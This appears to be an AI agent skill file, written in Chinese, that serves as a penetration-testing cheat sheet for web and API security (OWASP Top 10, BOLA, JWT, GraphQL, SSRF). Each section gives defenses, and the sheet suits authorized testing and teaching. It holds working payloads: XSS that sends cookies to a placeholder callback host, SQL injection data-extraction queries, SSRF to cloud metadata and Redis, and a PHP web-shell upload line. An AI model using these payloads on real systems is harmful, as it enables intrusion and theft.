---
name: pentest
description: Web与API安全测试参考。OWASP Top 10检测方法、安全漏洞验证、防御加固建议。用于授权安全评估、CTF竞赛、安全教学。当用户提到渗透测试、Web安全、API安全、漏洞挖掘、Burp、XSS、SQLi、SSRF、越权、BOLA时使用。
---

# 赤焰秘典 · 渗透测试 (Penetration Testing)

> **安全测试参考文档**：本文档为安全工程师提供 OWASP 标准安全测试方法论。
> 每项测试技术均附带防御建议，用于发现漏洞并指导修复。
> 所有示例使用 RFC 5737 保留地址和 `example.com`，实际使用时替换为授权目标。


## 渗透测试流程

```
┌─────────────────────────────────────────────────────────────┐
│                    渗透测试流程                               │
├─────────────────────────────────────────────────────────────┤
│  Phase 1: 信息收集                                           │
│  ├─ 目标识别 → 技术栈指纹 → WAF检测 → 端口扫描              │
│  └─ 目录扫描 → 参数发现 → JS分析                            │
│                        ↓                                     │
│  Phase 2: 漏洞扫描                                           │
│  ├─ OWASP Top 10 全覆盖                                      │
│  ├─ 技术栈特定漏洞                                           │
│  └─ 业务逻辑漏洞                                             │
│                        ↓                                     │
│  Phase 3: 漏洞利用                                           │
│  ├─ PoC验证 → 数据提取 → 权限提升                           │
│  └─ 横向移动 → 持久化                                        │
│                        ↓                                     │
│  Phase 4: 报告输出                                           │
│  └─ 按严重性分级 → 修复建议 → 复测验证                      │
└─────────────────────────────────────────────────────────────┘
```

## OWASP Top 10 测试

| 漏洞 | 测试方法 | Payload 示例 |
|------|----------|--------------|
| A01 访问控制 | IDOR、越权、JWT伪造 | 替换ID访问他人数据 |
| A02 加密失败 | HTTPS、敏感数据明文 | 抓包分析 |
| A03 注入 | SQLi、XSS、CMDi、SSTI | `' OR '1'='1` |
| A04 不安全设计 | 业务逻辑漏洞 | 流程绕过 |
| A05 配置错误 | 默认凭证、目录遍历 | `/admin` |
| A06 脆弱组件 | CVE扫描 | Nuclei模板 |
| A07 认证失败 | 弱密码、会话固定 | 爆破、重放 |
| A08 数据完整性 | 反序列化 | 恶意对象 |
| A09 日志不足 | 敏感信息泄露 | 错误信息 |
| A10 SSRF | 内网探测 | `http://127.0.0.1` |

## Web 渗透测试

### XSS Payload
```html
<!-- [Security Testing] 用于检测反射/存储型 XSS -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
javascript:alert(1)
<!-- 验证外带：替换为授权回调地址 -->
<img src=x onerror="fetch('https://YOUR-CALLBACK/?c='+document.cookie)">
```

**防御**：输出编码（Context-aware escaping）、CSP `script-src 'self'`、HttpOnly Cookie

### SQL 注入
```sql
-- [Security Testing] 检测注入点
' OR '1'='1
1' AND SLEEP(5)--
1 UNION SELECT 1,2,3--

-- 数据提取（仅限授权目标）
1 UNION SELECT table_name,2 FROM information_schema.tables--
1 UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='users'--
```

**防御**：参数化查询、ORM、最小权限 DB 账户、WAF 规则

### SSRF Payload
```
# [Security Testing] 用于检测 SSRF 漏洞
http://127.0.0.1:80
http://169.254.169.254/latest/meta-data/
file:///etc/passwd
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0ainfo
dict://127.0.0.1:6379/info
```

**防御**：URL 白名单校验、禁止内网/元数据地址、DNS rebinding 防护、出站代理

### 文件上传绕过
```
# [Security Testing] 用于检测文件上传过滤缺陷
shell.php.jpg          # 双扩展名
shell.phtml            # 替代扩展名
shell.php%00.jpg       # 空字节截断
shell.php/.            # 路径混淆
Content-Type: image/jpeg  # MIME绕过
GIF89a<?php system($_GET['cmd']);?>  # 文件头绕过（概念示例）
```

**防御**：白名单扩展名、文件内容检测（magic bytes）、重命名上传文件、隔离存储目录禁止执行

## API 安全测试

### OWASP API Top 10

| 风险 | 描述 | 测试方法 |
|------|------|----------|
| API1 BOLA | 对象级授权失效 | 替换ID访问他人数据 |
| API2 认证失效 | 认证机制缺陷 | 弱Token、无限制 |
| API3 属性级授权 | 返回过多数据 | 检查响应字段 |
| API4 资源消耗 | 无速率限制 | 批量请求测试 |
| API5 BFLA | 功能级授权失效 | 低权限调用高权限API |

### BOLA 测试
```python
# [Security Testing] 测试对象级授权漏洞
def test_bola(base_url, token):
    headers = {"Authorization": f"Bearer {token}"}
    my_id = 100

    for other_id in [1, 2, 99, 101, 999]:
        resp = requests.get(f"{base_url}/api/users/{other_id}", headers=headers)
        if resp.status_code == 200:
            print(f"[VULN] BOLA: Can access user {other_id}")
```

**防御**：服务端校验资源归属（`WHERE user_id = current_user`）、UUID 替代自增 ID、访问控制中间件

### JWT 测试
```python
# [Security Testing] JWT 常见漏洞测试
import jwt

def test_jwt_vulns(token):
    payload = jwt.decode(token, options={"verify_signature": False})

    # 1. alg=none 绕过
    none_token = jwt.encode(payload, None, algorithm="none")

    # 2. 弱密钥测试
    weak_secrets = ["secret", "password", "123456", "key"]
    for secret in weak_secrets:
        try:
            jwt.decode(token, secret, algorithms=["HS256"])
            print(f"[VULN] Weak secret: {secret}")
        except: pass
```

**防御**：强密钥（≥256bit 随机）、白名单 algorithm、RS256 非对称签名、短过期 + refresh token

### GraphQL 测试
```graphql
# [Security Testing] 内省查询 - 获取 Schema
{ __schema { types { name fields { name } } } }

# 批量查询攻击
query {
  user1: user(id: 1) { email }
  user2: user(id: 2) { email }
}

# 深度嵌套 DoS（仅用于检测深度限制是否生效）
{ user(id: 1) { friends { friends { friends { name } } } } }
```

**防御**：禁用生产环境内省、查询深度/复杂度限制、速率限制、字段级权限控制

## 技术栈特定测试

### Laravel/PHP
```yaml
critical_paths:
  - /install              # CRITICAL - 安装漏洞
  - /composer.json        # HIGH - 依赖泄露
  - /.env                 # HIGH - 配置泄露
  - /storage/logs         # MEDIUM - 日志泄露
```

### Spring Boot
```yaml
critical_paths:
  - /actuator/env         # CRITICAL - 环境变量
  - /actuator/heapdump    # CRITICAL - 内存转储
  - /actuator/mappings    # HIGH - 路由泄露
```

### WordPress
```yaml
critical_paths:
  - /wp-admin/install.php # CRITICAL - 重装漏洞
  - /wp-config.php.bak    # HIGH - 配置备份
  - /xmlrpc.php           # MEDIUM - 爆破入口
```

## 常用工具

| 工具 | 用途 |
|------|------|
| Burp Suite | 代理抓包、漏洞扫描 |
| sqlmap | SQL注入自动化 |
| Nuclei | 漏洞模板扫描 |
| ffuf | 目录/参数爆破 |
| httpx | 批量探测 |
| XSStrike | XSS检测 |
| jwt_tool | JWT测试 |
| Arjun | 参数发现 |

## Burp Suite 技巧

```
# Intruder 爆破
Payload: 字典/数字范围
Position: 标记参数 §param§

# Repeater 手动测试
修改参数 → 发送 → 分析响应

# 插件推荐
- HaE (高亮敏感信息)
- Autorize (越权检测)
- JSON Beautifier
```

## 报告格式

```markdown
# 渗透测试报告

## 🔴 CRITICAL
### 1. SQL注入 - /api/users
- **位置**: id 参数
- **PoC**: `id=1' AND SLEEP(5)--`
- **影响**: 数据库完全泄露
- **修复**: 使用参数化查询

## 🟠 HIGH
...

## 🟡 MEDIUM
...
```

---

